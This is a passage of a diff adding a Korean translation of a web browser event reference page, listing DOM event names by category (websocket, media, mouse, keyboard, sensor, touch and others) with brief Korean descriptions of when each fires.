+ </thead>
+ <tbody>
+ <tr>
+ <td><code><a href="/en-US/docs/Web/Reference/Events/open_websocket">open</a></code></td>
+ <td>웹소켓 연결이 수립되었을 때.</td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/Web/Reference/Events/message_websocket">message</a></code></td>
+ <td>웹소켓을 통해 메시지를 받았을 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("error")}}</td>
+ <td>웹소켓 연결이 어떤 문제로 닫혔을 때(예로, 일부 데이터가 전송되지 못했을 때).</td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/Web/Reference/Events/close_websocket">close</a></code></td>
+ <td>웹소켓 연결이 닫혔을 때.</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div style="overflow: auto;">
+<table class="standard-table">
+ <caption>
+ <h3 id="세션_기록_이벤트">세션 기록 이벤트</h3>
+ </caption>
+ <thead>
+ <tr>
+ <th scope="col">이벤트명</th>
+ <th scope="col">발생하는 시점</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{Event("pagehide")}}</td>
+ <td>세션 기록 항목이 사라지고 있을 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("pageshow")}}</td>
+ <td>세션 기록 항목이 들어오고 있을 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("popstate")}}</td>
+ <td>세션 기록 항목이 이동하고 있을 때(특정 경우에서).</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div style="overflow: auto;">
+<table class="standard-table">
+ <caption>
+ <h3 id="CSS_애니메이션_이벤트">CSS 애니메이션 이벤트</h3>
+ </caption>
+ <thead>
+ <tr>
+ <th scope="col">이벤트명</th>
+ <th scope="col">발생하는 시점</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{Event("animationstart")}}</td>
+ <td><a href="https://developer.mozilla.org/en-US/docs/CSS/CSS_animations">CSS 애니메이션</a>이 시작되었을 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("animationend")}}</td>
+ <td><a href="https://developer.mozilla.org/en-US/docs/CSS/CSS_animations">CSS 애니메이션</a>이 완료되었을 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("animationiteration")}}</td>
+ <td><a href="https://developer.mozilla.org/en-US/docs/CSS/CSS_animations">CSS 애니메이션</a>이 반복되었을 때.</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div style="overflow: auto;">
+<table class="standard-table">
+ <caption>
+ <h3 id="CSS_전이_이벤트">CSS 전이 이벤트</h3>
+ </caption>
+ <thead>
+ <tr>
+ <th scope="col">이벤트명</th>
+ <th scope="col">발생하는 시점</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{Event("transitionstart")}}</td>
+ <td><a href="/en-US/docs/Web/CSS/CSS_Transitions">CSS 전이</a>가 실제로 시작되었을 때(딜레이 후에 실행되었을 때).</td>
+ </tr>
+ <tr>
+ <td>{{Event("transitioncancel")}}</td>
+ <td><a href="/en-US/docs/Web/CSS/CSS_Transitions">CSS 전이</a>가 취소되었을 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("transitionend")}}</td>
+ <td><a href="/en-US/docs/Web/CSS/CSS_Transitions">CSS 전이</a>가 완료되었을 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("transitionrun")}}</td>
+ <td><a href="/en-US/docs/Web/CSS/CSS_Transitions">CSS 전이</a>가 실행을 시작했을 때(딜레이 시작전에 실행되었을 때).</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div style="overflow: auto;">
+<table class="standard-table">
+ <caption>
+ <h3 id="폼_이벤트">폼 이벤트</h3>
+ </caption>
+ <thead>
+ <tr>
+ <th scope="col">Event Name</th>
+ <th scope="col">Fired When</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{Event("reset")}}</td>
+ <td>리셋 버튼이 눌렸을 때</td>
+ </tr>
+ <tr>
+ <td>{{Event("submit")}}</td>
+ <td>제출 버튼이 눌렸을 때</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div style="overflow: auto;">
+<table class="standard-table">
+ <caption>
+ <h3 id="Printing_Events">Printing Events</h3>
+ </caption>
+ <thead>
+ <tr>
+ <th scope="col">이벤트명</th>
+ <th scope="col">발생하는 시점</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{Event("beforeprint")}}</td>
+ <td>프린트 대화상자가 열렸을 때</td>
+ </tr>
+ <tr>
+ <td>{{Event("afterprint")}}</td>
+ <td>프린트 대화상자가 닫혔을 때</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div style="overflow: auto;">
+<table class="standard-table">
+ <caption>
+ <h3 id="텍스트_작성_이벤트">텍스트 작성 이벤트</h3>
+ </caption>
+ <thead>
+ <tr>
+ <th scope="col">이벤트명</th>
+ <th scope="col">발생하는 시점</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{Event("compositionstart")}}</td>
+ <td>텍스트 입력 통로가 준비되었을 때(키보드 입력을 위한 키 다운과 유사하지만, 음성 인식과 같은 다른 입력과도 동작합니다).</td>
+ </tr>
+ <tr>
+ <td>{{Event("compositionupdate")}}</td>
+ <td>작성될 텍스트 통로에 문자가 추가되었을 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("compositionend")}}</td>
+ <td>텍스트 입력 통로가 완료되었거나 취소되었을 때.</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div style="overflow: auto;">
+<table class="standard-table">
+ <caption>
+ <h3 id="뷰_이벤트">뷰 이벤트</h3>
+ </caption>
+ <thead>
+ <tr>
+ <th scope="col">이벤트명</th>
+ <th scope="col">발생하는 시점</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{Event("fullscreenchange")}}</td>
+ <td>엘리먼트가 전체화면 모드로 변경되었거나 일반 모드로 돌아왔을 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("fullscreenerror")}}</td>
+ <td>기술적인 이유나 권한 거절을 이유로 전체화면 모드 전환이 불가능했을 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("resize")}}</td>
+ <td>다큐먼트 뷰가 리사이즈되었을 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("scroll")}}</td>
+ <td>다큐먼트 뷰나 엘리먼트가 스크롤되었을 때.</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div style="overflow: auto;">
+<table class="standard-table">
+ <caption>
+ <h3 id="클립보드_이벤트">클립보드 이벤트</h3>
+ </caption>
+ <thead>
+ <tr>
+ <th scope="col">이벤트명</th>
+ <th scope="col">발생하는 시점</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{Event("cut")}}</td>
+ <td>선택이 잘라내어진 후 클립보드로 복사되었을 때</td>
+ </tr>
+ <tr>
+ <td>{{Event("copy")}}</td>
+ <td>선택이 클립보드로 복사되었을 때</td>
+ </tr>
+ <tr>
+ <td>{{Event("paste")}}</td>
+ <td>클립보드의 항목이 붙여너어졌을 때</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div style="overflow: auto;">
+<table class="standard-table">
+ <caption>
+ <h3 id="키보드_이벤트">키보드 이벤트</h3>
+ </caption>
+ <thead>
+ <tr>
+ <th scope="col">이벤트명</th>
+ <th scope="col">발생하는 시점</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{Event("keydown")}}</td>
+ <td>키가 눌렸을 때</td>
+ </tr>
+ <tr>
+ <td>{{Event("keypress")}}</td>
+ <td>쉬프트, Fn, CapsLock 을 제외한 키가 눌린 상태일 때(연속적으로 실행됨.).</td>
+ </tr>
+ <tr>
+ <td>{{Event("keyup")}}</td>
+ <td>키 누름이 해제될 때</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div style="overflow: auto;">
+<table class="standard-table">
+ <caption>
+ <h3 id="마우스_이벤트">마우스 이벤트</h3>
+ </caption>
+ <thead>
+ <tr>
+ <th scope="col">이벤트명</th>
+ <th scope="col">발생하는 시점</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{Event("mouseenter")}}</td>
+ <td>포인팅 장치가 리스너가 등록된 엘리먼트 위로 이동했을 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("mouseover")}}</td>
+ <td>포인팅 장치가 리스너가 등록된 엘리먼트나 그 자식 엘리먼트의 위로 이동했을 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("mousemove")}}</td>
+ <td>포인팅 장치가 엘리먼트 위에서 이동했을 때(마우스가 이동하는동안 계속 실행됨.)</td>
+ </tr>
+ <tr>
+ <td>{{Event("mousedown")}}</td>
+ <td>포인팅 장치 버튼이 엘리먼트 위에서 눌렸을 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("mouseup")}}</td>
+ <td>포인팅 장치 버튼이 엘리먼트 위에서 놓였을 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("auxclick")}}</td>
+ <td>포인팅 장치 버튼(주가 아닌 버튼)이 엘리먼트에서 눌렸다가 놓였을 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("click")}}</td>
+ <td>포인팅 장치 버튼(모든 버튼; 주 버튼만 해당될 예정)이 엘리먼트에서 눌렸다가 놓였을 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("dblclick")}}</td>
+ <td>포인팅 장치 버튼이 엘리먼트에서 두 번 클릭되었을 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("contextmenu")}}</td>
+ <td>마우스의 오른쪽 버튼이 클릭되었을 때(컨텍스트 메뉴가 표시되기 전).</td>
+ </tr>
+ <tr>
+ <td>{{Event("wheel")}}</td>
+ <td>포인팅 장치의 휠 버튼이 어떤 방향이든 회전되었을 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("mouseleave")}}</td>
+ <td>포인팅 장치가 리스너가 등록된 엘리먼트 밖으로 이동했을 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("mouseout")}}</td>
+ <td>포인팅 장치가 리스너가 등록된 엘리먼트 또는 그 자식 엘리먼트의 밖으로 이동했을 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("select")}}</td>
+ <td>어떤 텍스트가 선택되고 있을 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("pointerlockchange")}}</td>
+ <td>포인터가 잠겼거나 해제되었을 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("pointerlockerror")}}</td>
+ <td>기술적인 이유나 권한 거절을 이유로 포인터 잠금이 불가했을 때.</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div style="overflow: auto;">
+<table class="standard-table">
+ <caption>
+ <h3 id="드래그_앤_드랍_이벤트">드래그 앤 드랍 이벤트</h3>
+ </caption>
+ <thead>
+ <tr>
+ <th scope="col">이벤트명</th>
+ <th scope="col">발생하는 시점</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{Event("dragstart")}}</td>
+ <td>사용자가 엘리먼트나 텍스트 선택을 드래그하기 시작할 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("drag")}}</td>
+ <td>엘리먼트나 텍스트 선택이 드래그되고 있을 때(350ms 마다 연속적으로 실행됨).</td>
+ </tr>
+ <tr>
+ <td>{{Event("dragend")}}</td>
+ <td>드래그 작업이 끝났을 때(마우스 버튼을 놓거나 escape 키를 눌러서).</td>
+ </tr>
+ <tr>
+ <td>{{Event("dragenter")}}</td>
+ <td>드래그된 엘리먼트나 텍스트 선택이 유효한 드랍 대상에 들어왔을 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("dragover")}}</td>
+ <td>엘리먼트나 텍스트 선택이 유효한 드랍 대상위로 드래그되었을 때(350ms 마다 연속적으로 실행됨.).</td>
+ </tr>
+ <tr>
+ <td>{{Event("dragleave")}}</td>
+ <td>드래그된 엘리먼트나 텍스트 선택이 유효한 드랍 대상에서 나갈 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("drop")}}</td>
+ <td>엘리먼트가 유효한 드랍 대상에 드랍되었을 때.</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div style="overflow: auto;">
+<table class="standard-table">
+ <caption>
+ <h3 id="미디어_이벤트">미디어 이벤트</h3>
+ </caption>
+ <thead>
+ <tr>
+ <th scope="col">이벤트명</th>
+ <th scope="col">발생하는 시점</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{Event("durationchange")}}</td>
+ <td><code>duration</code> 속성이 업데이트되었을 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("loadedmetadata")}}</td>
+ <td>메타데이터가 로드되었을 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("loadeddata")}}</td>
+ <td>미디어의 첫 번째 프레임이 로딩을 마쳤을 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("canplay")}}</td>
+ <td>브라우저가 미디어를 실행할 수 있지만, 컨텐츠의 버퍼링없이 중단되지 않고 미디어를 끝까지 재생하기엔 로딩된 데이터가 충분하지않다고 측정했을 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("canplaythrough")}}</td>
+ <td>브라우저가 컨텐츠 버퍼링 중단 없이 미디어를 끝까지 재생할 수 있다고 측정했을 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("ended")}}</td>
+ <td>미디어의 끝에 도달해 재생이 멈추었을 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("emptied")}}</td>
+ <td>미디어가 비었을 때. 예로, 이 이벤트는 미디어가 이미 로딩되었고(또는 부분적으로 로딩되었고), <a href="/en-US/docs/XPCOM_Interface_Reference/NsIDOMHTMLMediaElement" rel="internal"><code>load()</code></a> 메소드가 리로드를 위해 호출되었을때 전송됩니다.</td>
+ </tr>
+ <tr>
+ <td>{{Event("stalled")}}</td>
+ <td>유저 애이전트가 미디어 데이터 페치를 시도했지만, 데이터가 예상치 못하게 전송되지 않을 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("suspend")}}</td>
+ <td>미디어 데이터 로딩이 유예되었을 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("play")}}</td>
+ <td>재생이 시작되었을 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("playing")}}</td>
+ <td>일시정지나 데이터 부족으로 딜레이된 후로부터 재생할 준비가 되었을 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("pause")}}</td>
+ <td>재생이 일시정지 되었을 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("waiting")}}</td>
+ <td>일시적인 데이터 부족으로 재생이 중지되었을 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("seeking")}}</td>
+ <td>찾기 작업이 시작되었을 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("seeked")}}</td>
+ <td>찾기 작업이 완료되었을 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("ratechange")}}</td>
+ <td>재생률이 변경되었을 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("timeupdate")}}</td>
+ <td><code>currentTime</code> 속성으로 나타나는 시간이 업데이트되었을 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("volumechange")}}</td>
+ <td>볼륨이 변경되었을 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("complete")}}</td>
+ <td>{{DOMxRef("OfflineAudioContext")}} 의 렌더링이 종료되었을 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("audioprocess")}}</td>
+ <td>{{DOMxRef("ScriptProcessorNode")}} 의 입력 버퍼의 처리가 준비되었을 때.</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div style="overflow: auto;">
+<table class="standard-table">
+ <caption>
+ <h3 id="진행_이벤트">진행 이벤트</h3>
+ </caption>
+ <thead>
+ <tr>
+ <th scope="col">이벤트명</th>
+ <th scope="col">발생하는 시점</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{Event("loadstart")}}</td>
+ <td>진행이 시작되었을 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("progress")}}</td>
+ <td>진행중일 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("error")}}</td>
+ <td>진행이 실패했을 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("timeout")}}</td>
+ <td>프리셋 타임 만료로 진행이 종료되었을 때.</td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/Web/Reference/Events/abort_(ProgressEvent)">abort</a></code></td>
+ <td>진행이 종료되었을 때(에러가 아닌 이유).</td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/Web/Reference/Events/load_(ProgressEvent)">load</a></code></td>
+ <td>진행이 성공했을 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("loadend")}}</td>
+ <td>진행이 멈추었을 때("error", "abort" 또는 "load" 가 디스패치된 후).</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="저장소_이벤트">저장소 이벤트</h3>
+
+<p>{{Event("change")}} ({{anch("Non-standard events")}} 를 보세요)<br>
+ {{Event("storage")}}</p>
+
+<h3 id="업데이트_이벤트">업데이트 이벤트</h3>
+
+<p>{{Event("checking")}}<br>
+ {{Event("downloading")}}<br>
+ {{Event("error")}}<br>
+ {{Event("noupdate")}}<br>
+ {{Event("obsolete")}}<br>
+ {{Event("updateready")}}</p>
+
+<h3 id="값_변경_이벤트">값 변경 이벤트</h3>
+
+<p>{{Event("broadcast")}}<br>
+ {{Event("CheckboxStateChange")}}<br>
+ {{Event("hashchange")}}<br>
+ {{Event("input")}}<br>
+ {{Event("RadioStateChange")}}<br>
+ {{Event("readystatechange")}}<br>
+ {{Event("ValueChange")}}</p>
+
+<h3 id="분류되지_않은_이벤트">분류되지 않은 이벤트</h3>
+
+<p>{{Event("invalid")}}<br>
+ {{Event("localized")}}<br>
+ <code><a href="/en-US/docs/Web/Reference/Events/message_webworker">message</a></code><br>
+ <code><a href="/en-US/docs/Web/Reference/Events/message_webmessaging">message</a></code><br>
+ <code><a href="/en-US/docs/Web/Reference/Events/message_serversentevents">message</a></code><br>
+ <code><a href="/en-US/docs/Web/Reference/Events/open_serversentevents">open</a></code><br>
+ {{Event("show")}}</p>
+
+<h2 id="덜_일반적이고_비표준인_이벤트">덜 일반적이고 비표준인 이벤트</h2>
+
+<h3 id="Abortable_페치_이벤트">Abortable 페치 이벤트</h3>
+
+<div style="overflow: auto;">
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">이벤트명</th>
+ <th scope="col">발생하는 시점</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{Event("abort_(dom_abort_api)", "abort")}}</td>
+ <td>DOM 요청이 중단되었을 때. 예, {{DOMxRef("AbortController.abort()")}} 사용.</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="WebVR_이벤트">WebVR 이벤트</h3>
+
+<div style="overflow: auto;">
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">이벤트명</th>
+ <th scope="col">발생하는 시점</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{Event("vrdisplayconnect")}}</td>
+ <td>호환되는 {{DOMxRef("VRDisplay")}} 가 컴퓨터에 연결되었을 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("vrdisplaydisconnect")}}</td>
+ <td>호환되는 {{DOMxRef("VRDisplay")}} 가 컴퓨터로부터 연결해제되었을 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("vrdisplayactivate")}}</td>
+ <td>VR 디스플레이가 표시될 수 있을 때. 예, HMD 가 움직여 대기모드에서 나오거나, 착용에의해 준비될 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("vrdisplaydeactivate")}}</td>
+ <td>{{DOMxRef("VRDisplay")}} 가 더 이상 표시될 수 없을 때. 예, 비활성 기간으로 인해 HMD 가 대기 또는 슬립모드로 빠졌을 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("vrdisplayblur")}}</td>
+ <td>브라우저, OS 또는 VR 장치로부터 어떤 이유에 의해 {{DOMxRef("VRDisplay")}} 로의 프리젠테이션이 중단되었을 때. 예, 사용자가 시스템 메뉴나 브라우저와 인터렉팅하는동안 추적이나 경험 손실을 방지.</td>
+ </tr>
+ <tr>
+ <td>{{Event("vrdisplayfocus")}}</td>
+ <td>흐릿해진 이후에 {{DOMxRef("VRDisplay")}} 로의 프리젠테이션이 재개될 때.</td>
+ </tr>
+ <tr>
+ <td>{{Event("vrdisplaypresentchange")}}</td>
+ <td>{{DOMxRef("VRDisplay")}} 의 프리젠팅 상태가 변경할 때. 예, 프리젠팅에서 프리젠팅이 아닌 것이 될 때, 또는 그 반대.</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="SVG_이벤트">SVG 이벤트</h3>
+
+<p>{{Event("SVGAbort")}}<br>
+ {{Event("SVGError")}}<br>
+ {{Event("SVGLoad")}}<br>
+ {{Event("SVGResize")}}<br>
+ {{Event("SVGScroll")}}<br>
+ {{Event("SVGUnload")}}<br>
+ {{Event("SVGZoom")}}</p>
+
+<h3 id="데이터베이스_이벤트">데이터베이스 이벤트</h3>
+
+<p><code><a href="/en-US/docs/Web/Reference/Events/abort_indexedDB">abort</a></code><br>
+ <code><a href="/en-US/docs/Web/Reference/Events/blocked_indexedDB">blocked</a></code><br>
+ <code><a href="/en-US/docs/Web/Reference/Events/complete_indexedDB">complete</a></code><br>
+ {{Event("error")}} (<a href="/en-US/docs/Web/Reference/Events/error">link</a>)<br>
+ <code><a href="/en-US/docs/Web/Reference/Events/success_indexedDB">success</a></code><br>
+ <code><a href="/en-US/docs/Web/Reference/Events/upgradeneeded_indexedDB">upgradeneeded</a></code><br>
+ <code><a href="/en-US/docs/Web/Reference/Events/versionchange_indexedDB">versionchange</a></code></p>
+
+<h3 id="알림_이벤트">알림 이벤트</h3>
+
+<p><a href="/en-US/docs/Web/Reference/Events/AlertActive">AlertActive</a><br>
+ <a href="/en-US/docs/Web/Reference/Events/AlertClose">AlertClose</a></p>
+
+<h3 id="CSS_이벤트">CSS 이벤트</h3>
+
+<p><a href="/en-US/docs/Web/Reference/Events/CssRuleViewRefreshed">CssRuleViewRefreshed</a><br>
+ <a href="/en-US/docs/Web/Reference/Events/CssRuleViewChanged">CssRuleViewChanged</a><br>
+ <a href="/en-US/docs/Web/Reference/Events/CssRuleViewCSSLinkClicked">CssRuleViewCSSLinkClicked</a></p>
+
+<h3 id="Script_이벤트">Script 이벤트</h3>
+
+<p>{{Event("afterscriptexecute")}}<br>
+ {{Event("beforescriptexecute")}}</p>
+
+<h3 id="메뉴_이벤트">메뉴 이벤트</h3>
+
+<p>{{Event("DOMMenuItemActive")}}<br>
+ {{Event("DOMMenuItemInactive")}}</p>
+
+<h3 id="Window_이벤트">Window 이벤트</h3>
+
+<p><a href="/en-US/docs/Web/Reference/Events/DOMWindowCreated">DOMWindowCreated</a><br>
+ <a href="/en-US/docs/Web/Reference/Events/DOMTitleChanged">DOMTitleChanged</a><br>
+ <a href="/en-US/docs/Web/Reference/Events/DOMWindowClose">DOMWindowClose</a><br>
+ <a href="/en-US/docs/Web/Reference/Events/SSWindowClosing">SSWindowClosing</a><br>
+ <a href="/en-US/docs/Web/Reference/Events/SSWindowStateReady">SSWindowStateReady</a><br>
+ <a href="/en-US/docs/Web/Reference/Events/SSWindowStateBusy">SSWindowStateBusy</a><br>
+ <a href="/en-US/docs/Web/Reference/Events/close_event">close</a></p>
+
+<h3 id="Document_이벤트">Document 이벤트</h3>
+
+<p><a href="/en-US/docs/Web/Reference/Events/DOMLinkAdded">DOMLinkAdded</a><br>
+ <a href="/en-US/docs/Web/Reference/Events/DOMLinkRemoved">DOMLinkRemoved</a><br>
+ <a href="/en-US/docs/Web/Reference/Events/DOMMetaAdded">DOMMetaAdded</a><br>
+ <a href="/en-US/docs/Web/Reference/Events/DOMMetaRemoved">DOMMetaRemoved</a><br>
+ <a href="/en-US/docs/Web/Reference/Events/DOMWillOpenModalDialog">DOMWillOpenModalDialog</a><br>
+ <a href="/en-US/docs/Web/Reference/Events/DOMModalDialogClosed">DOMModalDialogClosed</a></p>
+
+<h3 id="팝업_이벤트">팝업 이벤트</h3>
+
+<p>{{Event("popuphidden")}}<br>
+ {{Event("popuphiding")}}<br>
+ {{Event("popupshowing")}}<br>
+ {{Event("popupshown")}}<br>
+ <a href="/en-US/docs/Web/Reference/Events/DOMPopupBlocked">DOMPopupBlocked</a></p>
+
+<h3 id="탭_이벤트">탭 이벤트</h3>
+
+<p><a href="/en-US/docs/Web/Reference/Events/TabOpen">TabOpen</a><br>
+ <a href="/en-US/docs/Web/Reference/Events/TabClose">TabClose</a><br>
+ <a href="/en-US/docs/Web/Reference/Events/TabSelect">TabSelect</a><br>
+ <a href="/en-US/docs/Web/Reference/Events/TabShow">TabShow</a><br>
+ <a href="/en-US/docs/Web/Reference/Events/TabHide">TabHide</a><br>
+ <a href="/en-US/docs/Web/Reference/Events/TabPinned">TabPinned</a><br>
+ <a href="/en-US/docs/Web/Reference/Events/TabUnpinned">TabUnpinned</a><br>
+ <a href="/en-US/docs/Web/Reference/Events/SSTabClosing">SSTabClosing</a><br>
+ <a href="/en-US/docs/Web/Reference/Events/SSTabRestoring">SSTabRestoring</a><br>
+ <a href="/en-US/docs/Web/Reference/Events/SSTabRestored">SSTabRestored</a><br>
+ {{Event("visibilitychange")}}</p>
+
+<h3 id="배터리_이벤트">배터리 이벤트</h3>
+
+<p>{{Event("chargingchange")}}<br>
+ {{Event("chargingtimechange")}}<br>
+ {{Event("dischargingtimechange")}}<br>
+ {{Event("levelchange")}}</p>
+
+<h3 id="호출_이벤트">호출 이벤트</h3>
+
+<p>{{Event("alerting")}}<br>
+ {{Event("busy")}}<br>
+ {{Event("callschanged")}}<br>
+ {{Event("cfstatechange")}}<br>
+ {{Event("connected")}}<br>
+ {{Event("connecting")}}<br>
+ {{Event("dialing")}}<br>
+ {{Event("disconnected")}}<br>
+ {{Event("disconnecting")}}<br>
+ {{Event("error_(Telephony)","error")}}<br>
+ {{Event("held")}}, {{Event("holding")}}<br>
+ {{Event("incoming")}}<br>
+ {{Event("resuming")}}<br>
+ {{Event("statechange")}}<br>
+ {{Event("voicechange")}}</p>
+
+<h3 id="센서_이벤트">센서 이벤트</h3>
+
+<p>{{Event("compassneedscalibration")}}<br>
+ {{Event("devicelight")}}<br>
+ {{Event("devicemotion")}}<br>
+ {{Event("deviceorientation")}}<br>
+ {{Event("deviceproximity")}}<br>
+ {{Event("MozOrientation")}}<br>
+ {{Event("orientationchange")}}<br>
+ {{Event("userproximity")}}</p>
+
+<h3 id="스마트카드_이벤트">스마트카드 이벤트</h3>
+
+<p>{{Event("icccardlockerror")}}<br>
+ {{Event("iccinfochange")}}<br>
+ {{Event("smartcard-insert")}}<br>
+ {{Event("smartcard-remove")}}<br>
+ {{Event("stkcommand")}}<br>
+ {{Event("stksessionend")}}<br>
+ {{Event("cardstatechange")}}</p>
+
+<h3 id="SMS_및_USSD_이벤트">SMS 및 USSD 이벤트</h3>
+
+<p>{{Event("delivered")}}<br>
+ {{Event("received")}}<br>
+ {{Event("sent")}}<br>
+ {{Event("ussdreceived")}}</p>
+
+<h3 id="프레임_이벤트">프레임 이벤트</h3>
+
+<p>{{Event("mozbrowserclose")}}<br>
+ {{Event("mozbrowsercontextmenu")}}<br>
+ {{Event("mozbrowsererror")}}<br>
+ {{Event("mozbrowsericonchange")}}<br>
+ {{Event("mozbrowserlocationchange")}}<br>
+ {{Event("mozbrowserloadend")}}<br>
+ {{Event("mozbrowserloadstart")}}<br>
+ {{Event("mozbrowseropenwindow")}}<br>
+ {{Event("mozbrowsersecuritychange")}}<br>
+ {{Event("mozbrowsershowmodalprompt")}} (<a href="/en-US/docs/Web/Reference/Events/mozbrowsershowmodalprompt">link</a>)<br>
+ {{Event("mozbrowsertitlechange")}}<br>
+ <a href="/en-US/docs/Web/Reference/Events/DOMFrameContentLoaded">DOMFrameContentLoaded</a></p>
+
+<h3 id="DOM_뮤테이션_이벤트">DOM 뮤테이션 이벤트</h3>
+
+<p><code><a href="/en-US/docs/DOM/Mutation_events">DOMAttributeNameChanged</a></code><br>
+ <code><a href="/en-US/docs/DOM/Mutation_events">DOMAttrModified</a></code><br>
+ <code><a href="/en-US/docs/DOM/Mutation_events">DOMCharacterDataModified</a></code><br>
+ {{Event("DOMContentLoaded")}}<br>
+ <code><a href="/en-US/docs/DOM/Mutation_events">DOMElementNameChanged</a></code><br>
+ <code><a href="/en-US/docs/DOM/Mutation_events">DOMNodeInserted</a></code><br>
+ <code><a href="/en-US/docs/DOM/Mutation_events">DOMNodeInsertedIntoDocument</a></code><br>
+ <code><a href="/en-US/docs/DOM/Mutation_events">DOMNodeRemoved</a></code><br>
+ <code><a href="/en-US/docs/DOM/Mutation_events">DOMNodeRemovedFromDocument</a></code><br>
+ <code><a href="/en-US/docs/DOM/Mutation_events">DOMSubtreeModified</a></code></p>
+
+<h3 id="터치_이벤트">터치 이벤트</h3>
+
+<p><a href="/en-US/docs/Web/Reference/Events/MozEdgeUIGesture">MozEdgeUIGesture</a><br>
+ <a href="/en-US/docs/Web/Reference/Events/MozMagnifyGesture">MozMagnifyGesture</a><br>
+ <a href="/en-US/docs/Web/Reference/Events/MozMagnifyGestureStart">MozMagnifyGestureStart</a><br>
+ <a href="/en-US/docs/Web/Reference/Events/MozMagnifyGestureUpdate">MozMagnifyGestureUpdate</a><br>
+ <a href="/en-US/docs/Web/Reference/Events/MozPressTapGesture">MozPressTapGesture</a><br>
+ <a href="/en-US/docs/Web/Reference/Events/MozRotateGesture">MozRotateGesture</a><br>
